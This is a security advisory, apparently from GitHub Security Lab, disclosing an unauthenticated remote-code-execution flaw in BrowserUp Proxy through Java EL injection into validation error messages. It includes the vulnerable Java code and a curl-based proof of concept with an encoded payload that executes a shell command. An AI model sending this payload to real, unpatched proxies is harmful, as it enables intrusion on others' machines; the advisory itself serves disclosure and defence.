Coordinated Disclosure Timeline
- 11/10/2020: Report sent to ebeland@gmail.com
- 12/22/2020: Fix is released
Summary
A Server-Side Template Injection was identified in BrowserUp Proxy enabling attackers to inject arbitrary Java EL expressions, leading to an unauthenticated Remote Code Execution (RCE) vulnerability.
Product
BrowserUp Proxy
Tested Version
latest commit to the date of testing: 10147c3
Details
Remote Code Execution - JavaEL Injection
It is possible to run arbitrary code on the machine running the BrowserUp Proxy by injecting arbitrary Java Expression Language (EL) expressions.
BrowserUp Proxy uses Java Bean Validation (JSR 380) custom constraint validators such as PatternConstraint
. When building custom constraint violation error messages, it is important to understand that they support different types of interpolation, including Java EL expressions. Therefore if an attacker can inject arbitrary data in the error message template passed to ConstraintValidatorContext.buildConstraintViolationWithTemplate()
, they will be able to run arbitrary Java code. Unfortunately, it is common that validated (and therefore, normally untrusted) bean properties flow into the custom error message. In this case PatternConstraint
validates attacker controlled strings which are included in the custom constraint error validation message:
public boolean isValid(String value, ConstraintValidatorContext context) {
if (StringUtils.isEmpty(value)) {
return true;
}
try {
Pattern.compile(value);
return true;
} catch (Exception ex) {
String errorMessage = String.format("URL parameter '%s' is not a valid regexp", value);
LOG.warn(errorMessage);
context.buildConstraintViolationWithTemplate(errorMessage).addConstraintViolation();
}
return false;
}
This vulnerability affects the REST API which is run in the standalone mode. The following are some of the entrypoints an attacker could use to supply an attack payload:
- https://github.com/browserup/browserup-proxy/blob/master/browserup-proxy-rest/src/main/java/com/browserup/bup/rest/resource/entries/EntriesProxyResource.java
- GET
/proxy/{port}/har/entries?=urlPattern=<payload>
- GET
/proxy/{port}/har/entries/assertResponseTimeLessThanOrEqual?=urlPattern=<payload>
- …
- GET
- https://github.com/browserup/browserup-proxy/blob/master/browserup-proxy-rest/src/main/java/com/browserup/bup/rest/resource/mostrecent/MostRecentEntryProxyResource.java
- GET
/proxy/{port}/har/mostRecentEntry?=urlPattern=<payload>
- …
- GET
The default configuration properties for the REST API allows unauthenticated access and binds the server to 0.0.0.0:
proxyUsername
- String, The username to use to authenticate with the chained proxy. Optional, default to null.
proxyPassword
- String, The password to use to authenticate with the chained proxy. Optional, default to null.
trustAllServers
- Boolean. True, Disables verification of all upstream servers’ SSL certificates. All upstream servers will be trusted, even if they do not present valid certificates signed by certification authorities in the JDK’s trust store. Optional, default to “false”.
bindAddress
- String, If running BrowserUp Proxy in a multi-homed environment, specify a desired bind address. Optional, default to “0.0.0.0”.
PoC
In order to reproduce this vulnerability you can use the following steps:
- Start BrowserUp Proxy either programmatically or using the standalone application:
$> ./browserup-proxy -port 8080`
In a real attack scenario the proxy would be started by the victim while running tests or for other purposes. Note that the proxy is bound to all interfaces by default so an attacker could reach the test server if it is exposed
$> netstat -p tcp -van | grep LISTEN
tcp46 0 0 *.8081 *.* LISTEN 131072 131072 91783 0 0x0100 0x00000006
tcp46 0 0 *.8080 *.* LISTEN 131072 131072 91783 0 0x0000 0x00000006
...
- Create a proxy instance (8081).
$> curl -X POST http://localhost:8080/proxy
{"port":8081}
Again, in an attack scenario, the proxy would already be started. If that is not the case, an attacker can start a new proxy since this action requires no authentication.
- Create a new HAR
$> curl -X PUT http://localhost:8080/proxy/8081/har
- Force a regexp parse error by using an unclosed parenthesis and inject the payload (eg:
${1+1}
)
$> curl -X GET http://localhost:8080/proxy/8081/har/entries\?urlPattern=foo%24%7B1%2B1%7D\(
{"errors":[{"name":"urlPattern","errors":["URL parameter 'foo2(' is not a valid regexp"]}]}
To run arbitrary commands try the following payload:
${''.class.forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('js').eval('java.lang.Runtime.getRuntime().exec("touch /tmp/test")')}
$> curl -X GET http://localhost:8080/proxy/8081/har/entries\?urlPattern=%24%7b%27%27%2e%63%6c%61%73%73%2e%66%6f%72%4e%61%6d%65%28%27%6a%61%76%61%78%2e%73%63%72%69%70%74%2e%53%63%72%69%70%74%45%6e%67%69%6e%65%4d%61%6e%61%67%65%72%27%29%2e%6e%65%77%49%6e%73%74%61%6e%63%65%28%29%2e%67%65%74%45%6e%67%69%6e%65%42%79%4e%61%6d%65%28%27%6a%73%27%29%2e%65%76%61%6c%28%27%6a%61%76%61%2e%6c%61%6e%67%2e%52%75%6e%74%69%6d%65%2e%67%65%74%52%75%6e%74%69%6d%65%28%29%2e%65%78%65%63%28%22%74%6f%75%63%68%20%2f%74%6d%70%2f%74%65%73%74%22%29%27%29%7d\(
{"errors":[{"name":"urlPattern","errors":["URL parameter 'java.lang.UNIXProcess@4cc4c20f(' is not a valid regexp"]}]}%
The java.lang.UNIXProcess@583d3ad2
part proves that the process was run, and a filed called test
will be written to /tmp
Impact
This issue leads to Remote Code execution
CVE
- CVE-2020-26282
Resources
- https://github.com/browserup/browserup-proxy/security/advisories/GHSA-wmfg-55f9-j8hq
Credit
This issue was discovered and reported by GHSL team member @pwntester (Alvaro Muñoz).
Contact
You can contact the GHSL team at securitylab@github.com
, please include a reference to GHSL-2020-213
in any communication regarding this issue.